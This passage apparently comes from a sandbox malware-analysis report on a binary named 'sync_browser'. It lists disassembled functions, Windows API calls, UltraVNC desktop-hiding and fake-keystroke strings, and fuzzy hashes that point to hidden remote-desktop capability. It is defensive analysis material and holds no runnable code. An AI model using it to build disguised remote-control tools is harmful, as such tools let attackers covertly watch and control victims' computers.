Instruction Fuzzy Hash: 34419725614A8985D620DB29B45026AE760FB85FF4F845336EE6E83BD9DF3CD0418711

Function 00007FF7E50A08E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56COMMON

Download Yara Rule

APIs

LoadCursorA.USER32 ref: 00007FF7E50A0925

Part of subcall function 00007FF7E5127978: malloc.LIBCMT ref: 00007FF7E5127992

Part of subcall function 00007FF7E509D930: InitializeCriticalSection.KERNEL32 ref: 00007FF7E509D95E
Part of subcall function 00007FF7E509D930: InitializeCriticalSection.KERNEL32 ref: 00007FF7E509D9EB
Part of subcall function 00007FF7E509D930: LoadLibraryA.KERNEL32 ref: 00007FF7E509DA0D
Part of subcall function 00007FF7E509D930: GetProcAddress.KERNEL32 ref: 00007FF7E509DA30
Part of subcall function 00007FF7E509D930: LoadLibraryA.KERNEL32 ref: 00007FF7E509DA51
Part of subcall function 00007FF7E509D930: GetProcAddress.KERNEL32 ref: 00007FF7E509DA6D

Strings

vncdesktop.cpp : initialising desktop handler, xrefs: 00007FF7E50A08FF
vncdesktop.cpp : failed to start hook thread, xrefs: 00007FF7E50A0972
vncDesktopSW.cpp : SWinit , xrefs: 00007FF7E50A09AF

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Load$AddressCriticalInitializeLibraryProcSection$Cursormalloc
String ID: vncDesktopSW.cpp : SWinit $vncdesktop.cpp : failed to start hook thread$vncdesktop.cpp : initialising desktop handler
API String ID: 2513085289-3031267129
Opcode ID: e487d388fed18aea2260250da6f24d23774b770b27bbd1d7d67b117f7b2f2a02
Instruction ID: 2a52a824845e924255e0fedfcf6ca7f857c8cb63e6eaa449e84aad98eb476f06
Opcode Fuzzy Hash: e487d388fed18aea2260250da6f24d23774b770b27bbd1d7d67b117f7b2f2a02
Instruction Fuzzy Hash: 5F215131604BC992F618AB60E5102E9E364FB44F50F944536D75D97799DF3CE025C321

Function 00007FF7E50DA130 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32 ref: 00007FF7E50DA183

Strings

Default, xrefs: 00007FF7E50DA1CC

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: DesktopInputOpen
String ID: Default
API String ID: 601053899-753088835
Opcode ID: 70adbaaf15933b6300e773d9a6368acce56cf68ba5067fbfdfb46543feca4f4b
Instruction ID: ebb162eedd47248bfa3e60ad8c825259033490e74fbd68b4613bf9f213e65ff5
Opcode Fuzzy Hash: 70adbaaf15933b6300e773d9a6368acce56cf68ba5067fbfdfb46543feca4f4b
Instruction Fuzzy Hash: 49216239A1868A82E721EB15B4657BAA390FB89B44FC40036DA8D83658DF3CD114CB11

Function 00007FF7E507A830 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32 ref: 00007FF7E507A88F
GetLastError.KERNEL32 ref: 00007FF7E507A899

Strings

HideDesktop.cpp : Failed to restore SPI value for 0x%04x (0x%08x), xrefs: 00007FF7E507A89F
HideDesktop.cpp : Restored SPI value for 0x%04x to 0x%08x, xrefs: 00007FF7E507A8B0

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ErrorInfoLastParametersSystem
String ID: HideDesktop.cpp : Failed to restore SPI value for 0x%04x (0x%08x)$HideDesktop.cpp : Restored SPI value for 0x%04x to 0x%08x
API String ID: 2777246624-1049114938
Opcode ID: cfadfbb5a052f751d6cf6726dcbde3c23d3e636a514a63c68ec439c87cd35a12
Instruction ID: 018b6ecf818567f8a93d5000dfd11f926de64163ce3edbb42d11fe59f145a592
Opcode Fuzzy Hash: cfadfbb5a052f751d6cf6726dcbde3c23d3e636a514a63c68ec439c87cd35a12
Instruction Fuzzy Hash: 1E218631A0868A86E714EF21F410375B7A0FB44B48F840136EA4E97658DF3CE555C711

Function 00007FF7E50C02A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyA.USER32 ref: 00007FF7E50C02C5
MapVirtualKeyA.USER32 ref: 00007FF7E50C02F1

Strings

fake %d down, xrefs: 00007FF7E50C0305
fake %d up, xrefs: 00007FF7E50C02D8

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Virtual
String ID: fake %d down$fake %d up
API String ID: 4278518827-2496597273
Opcode ID: 2dd47c5dbc9ba7f1d5e19d4c12577b772ebabe815dd6ee617f8e27d02d3a68ea
Instruction ID: 64e49cecba077364dc699300114d6723ae55e9533699c237e0f61b9400f40eb2
Opcode Fuzzy Hash: 2dd47c5dbc9ba7f1d5e19d4c12577b772ebabe815dd6ee617f8e27d02d3a68ea
Instruction Fuzzy Hash: ED01E522F0928582E724A736A06027DAB91AB84F04FD88436E54D83399DE3CD446C722

Function 00007FF7E507A550 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E507A440: RegOpenKeyExA.ADVAPI32 ref: 00007FF7E507A465
Part of subcall function 00007FF7E507A440: RegQueryValueExA.ADVAPI32 ref: 00007FF7E507A49F
Part of subcall function 00007FF7E507A440: RegCloseKey.ADVAPI32 ref: 00007FF7E507A4AA

SystemParametersInfoA.USER32 ref: 00007FF7E507A594
SystemParametersInfoA.USER32 ref: 00007FF7E507A5AC

Part of subcall function 00007FF7E507A390: LoadLibraryA.KERNEL32 ref: 00007FF7E507A3A6
Part of subcall function 00007FF7E507A390: LoadLibraryA.KERNEL32 ref: 00007FF7E507A3CB
Part of subcall function 00007FF7E507A390: GetProcAddress.KERNEL32 ref: 00007FF7E507A3E3
Part of subcall function 00007FF7E507A390: FreeLibrary.KERNEL32 ref: 00007FF7E507A407

Strings

HideDesktop.cpp : Killwallpaper %i, xrefs: 00007FF7E507A55B
HideDesktop.cpp : Killwallpaper %i %i, xrefs: 00007FF7E507A5C1

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Library$InfoLoadParametersSystem$AddressCloseFreeOpenProcQueryValue
String ID: HideDesktop.cpp : Killwallpaper %i$HideDesktop.cpp : Killwallpaper %i %i
API String ID: 542764273-2415377678
Opcode ID: 3ec6b93350797b567c00662e8f9584999f15a8dea8e11121c3388c2c253eb506
Instruction ID: 5e7754c6483cf0a439051044e09976bfd319ecda04d8f72b69c647f7e4003d4c
Opcode Fuzzy Hash: 3ec6b93350797b567c00662e8f9584999f15a8dea8e11121c3388c2c253eb506
Instruction Fuzzy Hash: EE015B7190858B96F610BB20F8207B5A360FF94B08FC04037E90D97569DE3CA21AC773

Function 00007FF7E50DA220 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

FindWindowExA.USER32 ref: 00007FF7E50DA23F
GetWindowThreadProcessId.USER32 ref: 00007FF7E50DA259
GetCurrentProcessId.KERNEL32 ref: 00007FF7E50DA25F

Strings

WinVNC Tray Icon, xrefs: 00007FF7E50DA230

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ProcessWindow$CurrentFindThread
String ID: WinVNC Tray Icon
API String ID: 1332243453-1071638575
Opcode ID: 1aaacc56bcc0b6efd1821309f0f7cb6d3b786fcd9035491e51b5987c9fdb7900
Instruction ID: f3fbf92c9e6d1b592a5dee656355154c38aa0a2993d3065450ef2e1e78b4d9b6
Opcode Fuzzy Hash: 1aaacc56bcc0b6efd1821309f0f7cb6d3b786fcd9035491e51b5987c9fdb7900
Instruction Fuzzy Hash: 6AF03631A1C74582DF945B66B451579A250FF88FC4FC42037EA5E86758EF3CD485C711

Function 00007FF7E50922C0 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 00007FF7E5092328

Part of subcall function 00007FF7E5128C34: _FF_MSGBANNER.LIBCMT ref: 00007FF7E5128C64
Part of subcall function 00007FF7E5128C34: HeapAlloc.KERNEL32(?,?,00000000,00007FF7E513329C,?,?,?,00007FF7E5137749,?,?,?,00007FF7E51377F3), ref: 00007FF7E5128C89
Part of subcall function 00007FF7E5128C34: _callnewh.LIBCMT ref: 00007FF7E5128CA2
Part of subcall function 00007FF7E5128C34: _errno.LIBCMT ref: 00007FF7E5128CAD
Part of subcall function 00007FF7E5128C34: _errno.LIBCMT ref: 00007FF7E5128CB8

free.LIBCMT ref: 00007FF7E5092564
free.LIBCMT ref: 00007FF7E5092617

Part of subcall function 00007FF7E5128BF4: RtlFreeHeap.NTDLL(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C0A
Part of subcall function 00007FF7E5128BF4: _errno.LIBCMT ref: 00007FF7E5128C14
Part of subcall function 00007FF7E5128BF4: GetLastError.KERNEL32(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C1C

Strings

l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\vncpasswd.h : PASSWD : ToText called, xrefs: 00007FF7E509230B

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _errno$Heapfree$AllocErrorFreeLast_callnewhmalloc
String ID: l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\vncpasswd.h : PASSWD : ToText called
API String ID: 1063416079-2438250478
Opcode ID: 35055a67cd95e2491fb3900131c2109903ea622cf7e3b396c5ad9548882c2784
Instruction ID: 3aefd172c6d9fa848a1d221c951ad64645aa95ee54edce5966a654c9cd27e8fe
Opcode Fuzzy Hash: 35055a67cd95e2491fb3900131c2109903ea622cf7e3b396c5ad9548882c2784
Instruction Fuzzy Hash: 5EA1A226704A9584EB50EB3AD4643AD6361FB84FA8F548332EE2E977E9DF38C445C311

Function 00007FF7E509A580 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7E509A75F
LeaveCriticalSection.KERNEL32 ref: 00007FF7E509A78F

Strings

i, xrefs: 00007FF7E509A754
l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\vncencodemgr.h : GetPalette called but no encoder set, xrefs: 00007FF7E509A5D6

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID: i$l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\vncencodemgr.h : GetPalette called but no encoder set
API String ID: 3168844106-2727237473
Opcode ID: b9736aa724b34d719d3600d22d7a269a865bd43a142573cc82961d05dd0f907a
Instruction ID: fb7fde83c8fa77ce3b4910d25e1d711d15f10e8e153aa1890401d4c841c165e6
Opcode Fuzzy Hash: b9736aa724b34d719d3600d22d7a269a865bd43a142573cc82961d05dd0f907a
Instruction Fuzzy Hash: 276125227087C995E774AF29A5143BAA7A0FB86B54F840136EE9D837C9DF3CD484C712

Function 00007FF7E5138704 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

_lock.LIBCMT ref: 00007FF7E5138718

Part of subcall function 00007FF7E51377D0: _amsg_exit.LIBCMT ref: 00007FF7E51377FA

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF7E51387D0
free.LIBCMT ref: 00007FF7E51387E5
EnterCriticalSection.KERNEL32 ref: 00007FF7E5138807

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountEnterInitializeSpin_amsg_exit_lockfree
String ID:
API String ID: 3786353176-0
Opcode ID: f31a3eaa8913d2083ee82d7d02934215533fd9c0c8c7a5b9e183bd6558d9460c
Instruction ID: e52139d4bdcceef2e62dd282aca01049c637861ded058568f2f6ca65c5cb1119
Opcode Fuzzy Hash: f31a3eaa8913d2083ee82d7d02934215533fd9c0c8c7a5b9e183bd6558d9460c
Instruction Fuzzy Hash: E3418F3AA19A4A82EB10AB15F4B433CA761FF54F94F964537CA4D872A9CF3CD410D322

Function 00007FF7E507C590 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 82COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 00007FF7E507C5D4

Part of subcall function 00007FF7E5128C34: _FF_MSGBANNER.LIBCMT ref: 00007FF7E5128C64
Part of subcall function 00007FF7E5128C34: HeapAlloc.KERNEL32(?,?,00000000,00007FF7E513329C,?,?,?,00007FF7E5137749,?,?,?,00007FF7E51377F3), ref: 00007FF7E5128C89
Part of subcall function 00007FF7E5128C34: _callnewh.LIBCMT ref: 00007FF7E5128CA2
Part of subcall function 00007FF7E5128C34: _errno.LIBCMT ref: 00007FF7E5128CAD
Part of subcall function 00007FF7E5128C34: _errno.LIBCMT ref: 00007FF7E5128CB8

Strings

VUUU, xrefs: 00007FF7E507C5B3
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/, xrefs: 00007FF7E507C5F8
VUUU, xrefs: 00007FF7E507C658

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _errno$AllocHeap_callnewhmalloc
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/$VUUU$VUUU
API String ID: 908589684-1814909704
Opcode ID: 5345fd7311f357fadc130072c2608bf0beca503ebc7595e42aae47cd0f82b0d0
Instruction ID: 927bc7275fef82afcc3956f70bec45682dc70e6353230bb239ea6a98f8fa66cb
Opcode Fuzzy Hash: 5345fd7311f357fadc130072c2608bf0beca503ebc7595e42aae47cd0f82b0d0
Instruction Fuzzy Hash: 62218A32B0879946D390AB79A480738B7D1F744B90F885237EB9C87BC5DE39D142C710

Function 00007FF7E5087650 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 79sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E5127978: malloc.LIBCMT ref: 00007FF7E5127992

Sleep.KERNEL32 ref: 00007FF7E5087720

Part of subcall function 00007FF7E5087A30: SetEvent.KERNEL32(?,?,?,00007FF7E50876B4), ref: 00007FF7E5087A4B
Part of subcall function 00007FF7E5087A30: SetEvent.KERNEL32(?,?,?,00007FF7E50876B4), ref: 00007FF7E5087A55
Part of subcall function 00007FF7E5087A30: SetEvent.KERNEL32(?,?,?,00007FF7E50876B4), ref: 00007FF7E5087A5F
Part of subcall function 00007FF7E5087A30: InitializeCriticalSection.KERNEL32(?,?,?,00007FF7E50876B4), ref: 00007FF7E5087A8B
Part of subcall function 00007FF7E5087A30: InitializeCriticalSection.KERNEL32(?,?,?,00007FF7E50876B4), ref: 00007FF7E5087A95

Strings

stop_event, xrefs: 00007FF7E50876E0
keyEvent, xrefs: 00007FF7E50876BE
start_event, xrefs: 00007FF7E5087703

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Event$CriticalInitializeSection$Sleepmalloc
String ID: keyEvent$start_event$stop_event
API String ID: 367317321-1979648887
Opcode ID: 4c2fb7a2e2a4829eb8b2e3fb3ca48f9c161a32c7fc48843e95e18382be6ac328
Instruction ID: c9921635e8621fa36aba13345df4d3c348ded53c458bd881828aeb4b84b889db
Opcode Fuzzy Hash: 4c2fb7a2e2a4829eb8b2e3fb3ca48f9c161a32c7fc48843e95e18382be6ac328
Instruction Fuzzy Hash: EF316C25E19B0B50FE51B724B4B2B75A791DF84F40F840036EA0E8B79ADE3DA454C372

Function 00007FF7E50A5940 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E5127978: malloc.LIBCMT ref: 00007FF7E5127992

InitializeCriticalSection.KERNEL32 ref: 00007FF7E50A5995

